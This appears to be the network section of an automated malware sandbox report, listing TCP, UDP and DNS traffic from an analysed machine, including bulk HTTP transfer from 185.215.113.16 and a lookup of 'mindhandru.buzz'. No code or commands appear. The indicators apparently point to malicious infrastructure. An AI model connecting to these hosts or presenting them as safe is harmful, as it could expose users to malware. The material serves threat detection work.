Dec 26, 2024 12:41:48.737524986 CET	49780	80	192.168.2.9	185.215.113.16
Dec 26, 2024 12:41:48.737910986 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.738353014 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.738409042 CET	49780	80	192.168.2.9	185.215.113.16
Dec 26, 2024 12:41:48.739090919 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.740295887 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.740308046 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.740319967 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.740350008 CET	49780	80	192.168.2.9	185.215.113.16
Dec 26, 2024 12:41:48.740401030 CET	49780	80	192.168.2.9	185.215.113.16
Dec 26, 2024 12:41:48.741445065 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.741580963 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.741631985 CET	49780	80	192.168.2.9	185.215.113.16
Dec 26, 2024 12:41:48.742635965 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.742733955 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.742784023 CET	49780	80	192.168.2.9	185.215.113.16
Dec 26, 2024 12:41:48.743823051 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.743834972 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.743880033 CET	49780	80	192.168.2.9	185.215.113.16
Dec 26, 2024 12:41:48.745006084 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.745399952 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.745451927 CET	49780	80	192.168.2.9	185.215.113.16
Dec 26, 2024 12:41:48.746128082 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.746599913 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.746649981 CET	49780	80	192.168.2.9	185.215.113.16
Dec 26, 2024 12:41:48.747325897 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.747432947 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.747482061 CET	49780	80	192.168.2.9	185.215.113.16
Dec 26, 2024 12:41:48.748514891 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.749625921 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.749671936 CET	49780	80	192.168.2.9	185.215.113.16
Dec 26, 2024 12:41:48.749696016 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.749716997 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.749757051 CET	49780	80	192.168.2.9	185.215.113.16
Dec 26, 2024 12:41:48.750957966 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.752099991 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.752110958 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.752121925 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.752149105 CET	49780	80	192.168.2.9	185.215.113.16
Dec 26, 2024 12:41:48.752193928 CET	49780	80	192.168.2.9	185.215.113.16
Dec 26, 2024 12:41:48.753242016 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.753258944 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.753314018 CET	49780	80	192.168.2.9	185.215.113.16
Dec 26, 2024 12:41:48.754450083 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.754462004 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.754513025 CET	49780	80	192.168.2.9	185.215.113.16
Dec 26, 2024 12:41:48.755582094 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.755603075 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.755672932 CET	49780	80	192.168.2.9	185.215.113.16
Dec 26, 2024 12:41:48.756787062 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.756798983 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.756853104 CET	49780	80	192.168.2.9	185.215.113.16
Dec 26, 2024 12:41:48.757922888 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.757987022 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.758033037 CET	49780	80	192.168.2.9	185.215.113.16
Dec 26, 2024 12:41:48.759133101 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.759144068 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.759190083 CET	49780	80	192.168.2.9	185.215.113.16
Dec 26, 2024 12:41:48.760302067 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.760407925 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.760459900 CET	49780	80	192.168.2.9	185.215.113.16
Dec 26, 2024 12:41:48.761498928 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.761509895 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.761554956 CET	49780	80	192.168.2.9	185.215.113.16
Dec 26, 2024 12:41:48.762650013 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.762661934 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.762716055 CET	49780	80	192.168.2.9	185.215.113.16
Dec 26, 2024 12:41:48.763828039 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.763884068 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.763936996 CET	49780	80	192.168.2.9	185.215.113.16
Dec 26, 2024 12:41:48.765032053 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.765100956 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.765150070 CET	49780	80	192.168.2.9	185.215.113.16
Dec 26, 2024 12:41:48.766187906 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.766247034 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.766298056 CET	49780	80	192.168.2.9	185.215.113.16
Dec 26, 2024 12:41:48.767357111 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.767369032 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.767416954 CET	49780	80	192.168.2.9	185.215.113.16
Dec 26, 2024 12:41:48.768547058 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.768600941 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.768649101 CET	49780	80	192.168.2.9	185.215.113.16
Dec 26, 2024 12:41:48.769721985 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.769732952 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.769782066 CET	49780	80	192.168.2.9	185.215.113.16
Dec 26, 2024 12:41:48.770899057 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.771114111 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.771156073 CET	49780	80	192.168.2.9	185.215.113.16
Dec 26, 2024 12:41:48.772047997 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.772157907 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.772207022 CET	49780	80	192.168.2.9	185.215.113.16
Dec 26, 2024 12:41:48.773247004 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.773257971 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.773305893 CET	49780	80	192.168.2.9	185.215.113.16
Dec 26, 2024 12:41:48.774485111 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.774496078 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.774539948 CET	49780	80	192.168.2.9	185.215.113.16
Dec 26, 2024 12:41:48.775640011 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.775651932 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.775693893 CET	49780	80	192.168.2.9	185.215.113.16
Dec 26, 2024 12:41:48.776830912 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.776842117 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.776900053 CET	49780	80	192.168.2.9	185.215.113.16
Dec 26, 2024 12:41:48.777947903 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.777960062 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.778001070 CET	49780	80	192.168.2.9	185.215.113.16
Dec 26, 2024 12:41:48.779133081 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.779186010 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.779237032 CET	49780	80	192.168.2.9	185.215.113.16
Dec 26, 2024 12:41:48.780327082 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.780338049 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.780385971 CET	49780	80	192.168.2.9	185.215.113.16
Dec 26, 2024 12:41:48.781553030 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.781563997 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.781615019 CET	49780	80	192.168.2.9	185.215.113.16
Dec 26, 2024 12:41:48.782720089 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.782732010 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.782774925 CET	49780	80	192.168.2.9	185.215.113.16
Dec 26, 2024 12:41:48.783864975 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.783876896 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.783937931 CET	49780	80	192.168.2.9	185.215.113.16
Dec 26, 2024 12:41:48.785042048 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.785053015 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.785104990 CET	49780	80	192.168.2.9	185.215.113.16
Dec 26, 2024 12:41:48.786223888 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.786237001 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.786290884 CET	49780	80	192.168.2.9	185.215.113.16
Dec 26, 2024 12:41:48.787385941 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.787511110 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.787560940 CET	49780	80	192.168.2.9	185.215.113.16
Dec 26, 2024 12:41:48.788511992 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.788676023 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.788727045 CET	49780	80	192.168.2.9	185.215.113.16
Dec 26, 2024 12:41:48.789733887 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.789746046 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.789787054 CET	49780	80	192.168.2.9	185.215.113.16
Dec 26, 2024 12:41:48.791064024 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.791076899 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.791119099 CET	49780	80	192.168.2.9	185.215.113.16
Dec 26, 2024 12:41:48.792121887 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.792134047 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.792198896 CET	49780	80	192.168.2.9	185.215.113.16
Dec 26, 2024 12:41:48.793229103 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.842324018 CET	49780	80	192.168.2.9	185.215.113.16
Dec 26, 2024 12:41:48.941838026 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.941931963 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.942051888 CET	49780	80	192.168.2.9	185.215.113.16
Dec 26, 2024 12:41:48.942500114 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.942517996 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.942584038 CET	49780	80	192.168.2.9	185.215.113.16
Dec 26, 2024 12:41:48.943666935 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.943681002 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.943746090 CET	49780	80	192.168.2.9	185.215.113.16
Dec 26, 2024 12:41:48.944814920 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.945056915 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.945996046 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.946014881 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.946063042 CET	49780	80	192.168.2.9	185.215.113.16
Dec 26, 2024 12:41:48.946130037 CET	49780	80	192.168.2.9	185.215.113.16
Dec 26, 2024 12:41:48.947179079 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.947191000 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.947251081 CET	49780	80	192.168.2.9	185.215.113.16
Dec 26, 2024 12:41:48.948334932 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.949023008 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.949517965 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.949528933 CET	80	49780	185.215.113.16	192.168.2.9
Dec 26, 2024 12:41:48.949579954 CET	49780	80	192.168.2.9	185.215.113.16
Dec 26, 2024 12:41:48.949604034 CET	49780	80	192.168.2.9	185.215.113.16
Dec 26, 2024 12:41:57.004647017 CET	49780	80	192.168.2.9	185.215.113.16
Dec 26, 2024 12:41:59.207859993 CET	49829	443	192.168.2.9	172.217.21.36
Dec 26, 2024 12:41:59.207896948 CET	443	49829	172.217.21.36	192.168.2.9
Dec 26, 2024 12:41:59.207967043 CET	49829	443	192.168.2.9	172.217.21.36
Dec 26, 2024 12:41:59.208218098 CET	49829	443	192.168.2.9	172.217.21.36
Dec 26, 2024 12:41:59.208234072 CET	443	49829	172.217.21.36	192.168.2.9
Dec 26, 2024 12:42:00.997692108 CET	443	49829	172.217.21.36	192.168.2.9
Dec 26, 2024 12:42:01.000643015 CET	49829	443	192.168.2.9	172.217.21.36
Dec 26, 2024 12:42:01.000653982 CET	443	49829	172.217.21.36	192.168.2.9
Dec 26, 2024 12:42:01.001797915 CET	443	49829	172.217.21.36	192.168.2.9
Dec 26, 2024 12:42:01.001905918 CET	49829	443	192.168.2.9	172.217.21.36
Dec 26, 2024 12:42:01.002994061 CET	49829	443	192.168.2.9	172.217.21.36
Dec 26, 2024 12:42:01.003063917 CET	443	49829	172.217.21.36	192.168.2.9
Dec 26, 2024 12:42:01.065181017 CET	49829	443	192.168.2.9	172.217.21.36
Dec 26, 2024 12:42:01.065191984 CET	443	49829	172.217.21.36	192.168.2.9
Dec 26, 2024 12:42:01.177047014 CET	49829	443	192.168.2.9	172.217.21.36
Dec 26, 2024 12:42:01.446909904 CET	49705	443	192.168.2.9	23.206.229.209
Dec 26, 2024 12:42:01.447326899 CET	49705	443	192.168.2.9	23.206.229.209
Dec 26, 2024 12:42:01.448005915 CET	49843	443	192.168.2.9	23.206.229.209
Dec 26, 2024 12:42:01.448048115 CET	443	49843	23.206.229.209	192.168.2.9
Dec 26, 2024 12:42:01.448152065 CET	49843	443	192.168.2.9	23.206.229.209
Dec 26, 2024 12:42:01.448584080 CET	49843	443	192.168.2.9	23.206.229.209
Dec 26, 2024 12:42:01.448602915 CET	443	49843	23.206.229.209	192.168.2.9
Dec 26, 2024 12:42:01.566409111 CET	443	49705	23.206.229.209	192.168.2.9
Dec 26, 2024 12:42:01.566756010 CET	443	49705	23.206.229.209	192.168.2.9
Dec 26, 2024 12:42:02.877825975 CET	443	49843	23.206.229.209	192.168.2.9
Dec 26, 2024 12:42:02.877901077 CET	49843	443	192.168.2.9	23.206.229.209
Dec 26, 2024 12:42:03.846470118 CET	49704	80	192.168.2.9	199.232.214.172
Dec 26, 2024 12:42:04.158684969 CET	49704	80	192.168.2.9	199.232.214.172
Dec 26, 2024 12:42:04.262023926 CET	80	49704	199.232.214.172	192.168.2.9
Dec 26, 2024 12:42:04.262084961 CET	49704	80	192.168.2.9	199.232.214.172
Dec 26, 2024 12:42:04.285446882 CET	80	49704	199.232.214.172	192.168.2.9
Dec 26, 2024 12:42:04.340552092 CET	80	49704	199.232.214.172	192.168.2.9
Dec 26, 2024 12:42:04.340617895 CET	49704	80	192.168.2.9	199.232.214.172
Dec 26, 2024 12:42:04.460093975 CET	80	49704	199.232.214.172	192.168.2.9
Dec 26, 2024 12:42:10.681289911 CET	443	49829	172.217.21.36	192.168.2.9
Dec 26, 2024 12:42:10.681364059 CET	443	49829	172.217.21.36	192.168.2.9
Dec 26, 2024 12:42:10.681464911 CET	49829	443	192.168.2.9	172.217.21.36
Dec 26, 2024 12:42:10.874631882 CET	49829	443	192.168.2.9	172.217.21.36
Dec 26, 2024 12:42:10.874667883 CET	443	49829	172.217.21.36	192.168.2.9
Dec 26, 2024 12:42:22.322494030 CET	443	49843	23.206.229.209	192.168.2.9
Dec 26, 2024 12:42:22.322594881 CET	49843	443	192.168.2.9	23.206.229.209
Dec 26, 2024 12:42:29.357022047 CET	49843	443	192.168.2.9	23.206.229.209
Dec 26, 2024 12:42:29.357038975 CET	443	49843	23.206.229.209	192.168.2.9
Dec 26, 2024 12:42:29.357074022 CET	49843	443	192.168.2.9	23.206.229.209
Dec 26, 2024 12:42:29.357079029 CET	443	49843	23.206.229.209	192.168.2.9
Dec 26, 2024 12:42:29.357536077 CET	49983	443	192.168.2.9	23.206.229.209
Dec 26, 2024 12:42:29.357572079 CET	443	49983	23.206.229.209	192.168.2.9
Dec 26, 2024 12:42:29.357636929 CET	49983	443	192.168.2.9	23.206.229.209
Dec 26, 2024 12:42:29.358426094 CET	49983	443	192.168.2.9	23.206.229.209
Dec 26, 2024 12:42:29.358477116 CET	443	49983	23.206.229.209	192.168.2.9
Dec 26, 2024 12:42:29.358540058 CET	49983	443	192.168.2.9	23.206.229.209
Dec 26, 2024 12:42:59.121201038 CET	50049	443	192.168.2.9	172.217.21.36
Dec 26, 2024 12:42:59.121242046 CET	443	50049	172.217.21.36	192.168.2.9
Dec 26, 2024 12:42:59.121314049 CET	50049	443	192.168.2.9	172.217.21.36
Dec 26, 2024 12:42:59.121606112 CET	50049	443	192.168.2.9	172.217.21.36
Dec 26, 2024 12:42:59.121614933 CET	443	50049	172.217.21.36	192.168.2.9
Dec 26, 2024 12:43:00.902015924 CET	443	50049	172.217.21.36	192.168.2.9
Dec 26, 2024 12:43:00.902384043 CET	50049	443	192.168.2.9	172.217.21.36
Dec 26, 2024 12:43:00.902399063 CET	443	50049	172.217.21.36	192.168.2.9
Dec 26, 2024 12:43:00.902734995 CET	443	50049	172.217.21.36	192.168.2.9
Dec 26, 2024 12:43:00.903029919 CET	50049	443	192.168.2.9	172.217.21.36
Dec 26, 2024 12:43:00.903101921 CET	443	50049	172.217.21.36	192.168.2.9
Dec 26, 2024 12:43:00.955732107 CET	50049	443	192.168.2.9	172.217.21.36
Dec 26, 2024 12:43:10.634078979 CET	443	50049	172.217.21.36	192.168.2.9
Dec 26, 2024 12:43:10.634175062 CET	443	50049	172.217.21.36	192.168.2.9
Dec 26, 2024 12:43:10.634257078 CET	50049	443	192.168.2.9	172.217.21.36
Dec 26, 2024 12:43:11.103276968 CET	50049	443	192.168.2.9	172.217.21.36
Dec 26, 2024 12:43:11.103296041 CET	443	50049	172.217.21.36	192.168.2.9

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 26, 2024 12:41:18.214683056 CET	57570	53	192.168.2.9	1.1.1.1
Dec 26, 2024 12:41:18.357876062 CET	53	57570	1.1.1.1	192.168.2.9
Dec 26, 2024 12:41:54.697036028 CET	53	61768	1.1.1.1	192.168.2.9
Dec 26, 2024 12:41:54.832736015 CET	53	50996	1.1.1.1	192.168.2.9
Dec 26, 2024 12:41:57.651117086 CET	53	56609	1.1.1.1	192.168.2.9
Dec 26, 2024 12:41:59.066159964 CET	53612	53	192.168.2.9	1.1.1.1
Dec 26, 2024 12:41:59.066361904 CET	50212	53	192.168.2.9	1.1.1.1
Dec 26, 2024 12:41:59.203175068 CET	53	50212	1.1.1.1	192.168.2.9
Dec 26, 2024 12:41:59.206950903 CET	53	53612	1.1.1.1	192.168.2.9
Dec 26, 2024 12:42:01.113507032 CET	64197	53	192.168.2.9	1.1.1.1
Dec 26, 2024 12:42:01.113730907 CET	55093	53	192.168.2.9	1.1.1.1
Dec 26, 2024 12:42:02.384408951 CET	138	138	192.168.2.9	192.168.2.255
Dec 26, 2024 12:42:04.749062061 CET	61808	53	192.168.2.9	1.1.1.1
Dec 26, 2024 12:42:04.749335051 CET	52136	53	192.168.2.9	1.1.1.1
Dec 26, 2024 12:42:09.556494951 CET	53	59445	1.1.1.1	192.168.2.9
Dec 26, 2024 12:42:11.426542044 CET	49570	53	192.168.2.9	1.1.1.1
Dec 26, 2024 12:42:11.426708937 CET	51897	53	192.168.2.9	1.1.1.1
Dec 26, 2024 12:42:15.130263090 CET	53	58955	1.1.1.1	192.168.2.9
Dec 26, 2024 12:42:33.993299961 CET	53	58504	1.1.1.1	192.168.2.9
Dec 26, 2024 12:42:54.501344919 CET	53	52695	1.1.1.1	192.168.2.9
Dec 26, 2024 12:42:56.890830040 CET	53	61570	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 26, 2024 12:41:18.214683056 CET	192.168.2.9	1.1.1.1	0x4a0b	Standard query (0)	mindhandru.buzz	A (IP address)	IN (0x0001)	false
Dec 26, 2024 12:41:59.066159964 CET	192.168.2.9	1.1.1.1	0x5ee8	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 26, 2024 12:41:59.066361904 CET	192.168.2.9	1.1.1.1	0xaf4b	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 26, 2024 12:42:01.113507032 CET	192.168.2.9	1.1.1.1	0x9e63	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Dec 26, 2024 12:42:01.113730907 CET	192.168.2.9	1.1.1.1	0x7f72	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Dec 26, 2024 12:42:04.749062061 CET	192.168.2.9	1.1.1.1	0x793d	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Dec 26, 2024 12:42:04.749335051 CET	192.168.2.9	1.1.1.1	0xae	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Dec 26, 2024 12:42:11.426542044 CET	192.168.2.9	1.1.1.1	0x15b6	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 26, 2024 12:42:11.426708937 CET	192.168.2.9	1.1.1.1	0x4c18	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 26, 2024 12:41:18.357876062 CET	1.1.1.1	192.168.2.9	0x4a0b	No error (0)	mindhandru.buzz		104.21.11.101	A (IP address)	IN (0x0001)	false
Dec 26, 2024 12:41:18.357876062 CET	1.1.1.1	192.168.2.9	0x4a0b	No error (0)	mindhandru.buzz		172.67.165.185	A (IP address)	IN (0x0001)	false
Dec 26, 2024 12:41:59.203175068 CET	1.1.1.1	192.168.2.9	0xaf4b	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 26, 2024 12:41:59.206950903 CET	1.1.1.1	192.168.2.9	0x5ee8	No error (0)	www.google.com		172.217.21.36	A (IP address)	IN (0x0001)	false
Dec 26, 2024 12:42:01.251421928 CET	1.1.1.1	192.168.2.9	0xd6f9	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 26, 2024 12:42:01.251883030 CET	1.1.1.1	192.168.2.9	0x9e63	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 26, 2024 12:42:01.251883030 CET	1.1.1.1	192.168.2.9	0x9e63	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 26, 2024 12:42:01.251883030 CET	1.1.1.1	192.168.2.9	0x9e63	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 26, 2024 12:42:01.251883030 CET	1.1.1.1	192.168.2.9	0x9e63	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 26, 2024 12:42:01.253277063 CET	1.1.1.1	192.168.2.9	0x7f72	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 26, 2024 12:42:01.253277063 CET	1.1.1.1	192.168.2.9	0x7f72	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 26, 2024 12:42:01.254498005 CET	1.1.1.1	192.168.2.9	0x955	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 26, 2024 12:42:01.254498005 CET	1.1.1.1	192.168.2.9	0x955	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 26, 2024 12:42:01.254498005 CET	1.1.1.1	192.168.2.9	0x955	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 26, 2024 12:42:04.429985046 CET	1.1.1.1	192.168.2.9	0x1f84	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 26, 2024 12:42:04.429985046 CET	1.1.1.1	192.168.2.9	0x1f84	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 26, 2024 12:42:04.429985046 CET	1.1.1.1	192.168.2.9	0x1f84	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 26, 2024 12:42:04.430658102 CET	1.1.1.1	192.168.2.9	0xc727	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 26, 2024 12:42:04.886739016 CET	1.1.1.1	192.168.2.9	0xae	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 26, 2024 12:42:04.886739016 CET	1.1.1.1	192.168.2.9	0xae	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 26, 2024 12:42:04.886903048 CET	1.1.1.1	192.168.2.9	0x793d	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 26, 2024 12:42:04.886903048 CET	1.1.1.1	192.168.2.9	0x793d	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 26, 2024 12:42:04.886903048 CET	1.1.1.1	192.168.2.9	0x793d	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 26, 2024 12:42:04.886903048 CET	1.1.1.1	192.168.2.9	0x793d	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 26, 2024 12:42:11.565464973 CET	1.1.1.1	192.168.2.9	0x15b6	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
